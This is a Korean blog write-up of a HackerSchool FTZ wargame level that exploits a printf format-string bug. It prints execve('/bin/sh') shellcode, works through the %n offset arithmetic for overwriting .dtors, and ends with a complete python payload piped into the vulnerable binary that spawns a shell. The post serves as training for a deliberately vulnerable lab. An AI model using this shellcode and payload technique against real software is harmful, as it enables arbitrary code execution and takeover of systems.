포멧스트링 취약점을 이용한 버퍼오버플로우가 발생하는 듯 하다.
printf 함수에 포맷을 지정해주는 인자가 없기 때문이다.
fgets로 79바이트만 받기 때문에 bof문제는 아니다.
일단 스택은 88바이트 확장된다..
ebp 0xbffff8d8 value : 0xbffff8f8
esp 0xbffff870 value : 0xbffff880
88바이트를 덮어쓰면 ebp앞까지 덮어쓸 수 있다.
포맷 스트링 취약점에 대해서 알아보자.
포맷 인자를 지정해주지 않는 경우 공격을 위해
AAAA%x%n 등을 입력으로 줘보고 출력이 되는지를 확인해보자.
된다.
몇 번의 실험.
AAAA %08x
AAAA %08x %08x
AAAA %08x %08x %08x
AAAA %08x %08x %08x %08x
4번째 실험에서, 출력이 AAAA 0000004f 4213ecc0 4207a750 41414141
이 나왔다.
41은 0x41로 A를 의미하는데..
메모리 구조를 예상해볼 수 있다.
[메모리 구조]
ret(4)
sfp(4)
dummy(8byte)
bleh[80](80)
dummy(12byte)
&bleh(4byte)
\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80
25바이트 쉘코드를 환경변수에 입력. NOP은 1000개 줬다.
쉘코드 주소 : 0xbffffc19 "SHELLCODE"
bfff - 49151 -뒤 2바이트에 넣을 부분
fc19 - 64537 - 먼저 넣을 부분
*메모리를 변조하기 위해서는 최소 4byte를 변조해야 하는데,
한번에 0~65535에 해당하는 .. 0x00~0xff. 즉, 2바이트밖에 수정할 수가 없다.
따라서 두 번에 나누어서 써줘야 한다.
페이로드는 대략 이런 식인가본데..
"\xd8\xd6\xff\xff(타겟메모리앞2바이트)AAAA\xda\xd6\xff\xff(타겟메모리,나머지2바이트) %65521x %x %n %65546x%n"
%65521x 와 같이 쓰는 이유는,
포맷스트링에 숫자를 저런 식으로 넣으면 65521바이트만큼 주소를 확보한다는 의미이다.
65521은 hex값으로 fff1인데, 이런 식으로 값을 조절해서 메모리 주소를 원하는 값으로 타겟팅할 수 있다.
실제 익스플로잇을 하는 경우에는,
프로그램의 dtors 또는 ret 주소를 수정하여 쉘코드 주소를 넣는 것이다.
보통 ret주소 수정은, 입력하는 파라미터에 따라 바뀌므로 잘 사용하지 않고,
대부분 dtors 주소 공략을 한다.
dtors를 찾는 명령어는,
objdump -h 파일이름 | grep .dtors
를 해서 나온 두번째 값에 +4를 해주면 된다.
0804 9594이므로 +4를 해서 0804 9598이다.
%n이란,
%n이 나오기 전에 출력된 자릿수를 계산하여,
스택의 다음 4바이트에 있는 '내용을 주소로 여기고' 그 '주소'에 계산한 자릿수, 즉, 숫자를 입력한다!
AAAA%n이면 -> 0x41414141에 4를 입력하게 되는 것! 근데 0x41414141에는 접근할 수 없으므로 segmentation fault가 뜬다.
쉘코드 주소 : 0xbffffc19 "SHELLCODE"
bfff - 49151 -뒤 2바이트에 넣을 부분
fc19 - 64537 - 먼저 넣을 부분
페이로드:
AAAA[dtors주소값]AAAA[dtors주소값+2바이트]%8x %8x %8x %64497c %n %50150c %n
4+4+4+4+8+8+8 = 40바이트
64537 - 40 = 64497
이후에 뒷자리 bfff부분도 계산을 해줘야한다.
%n은 자신이 나오기 이전의 모든 자릿수를 계산하므로 앞부분은 64537이다(%n은제외하는듯 출력이 아니니까)
그런데 앞부분 64537을 bfff부분인 49151에서 빼면 음수가 나오므로
앞에 1을 붙인 값 1bfff = 114687에서 빼도록 하자.
114687-64537 = 50150이다.
쉘코드 주소 바뀜;
주소: 0xbfff f845
f845 = 63557
63557-40 = 63517
114687 - 63557 = 51130
최종 페이로드:
(python -c 'print "AAAA\x98\x95\x04\x08AAAA\x9a\x95\x04\x08%8x%8x%8x%63517c%n%51130c%n"';cat)|./attackme
성공!!!
클리어 패스워드 : "i will come in a minute"
'System Hacking' 카테고리의 다른 글
[해커스쿨FTZ] Level11 (0) | 2020.01.06 |
---|---|
[해커스쿨FTZ] Level12 (0) | 2020.01.06 |
[해커스쿨FTZ] Level19 (0) | 2020.01.06 |
[해커스쿨FTZ] Level18 (0) | 2020.01.06 |
[해커스쿨FTZ] Level17 (0) | 2020.01.06 |